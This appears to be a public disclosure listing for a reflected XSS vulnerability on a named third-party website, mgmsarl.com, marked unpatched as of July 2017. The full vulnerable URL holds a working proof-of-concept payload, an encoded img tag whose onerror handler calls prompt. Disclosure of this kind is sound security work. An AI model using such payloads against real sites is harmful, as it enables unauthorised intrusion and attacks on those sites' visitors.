mgmsarl.com XSS vulnerability

Vulnerable URL: http://www.mgmsarl.com/rechercher.php?id=%22%27%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E%3C Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 18232509 Google...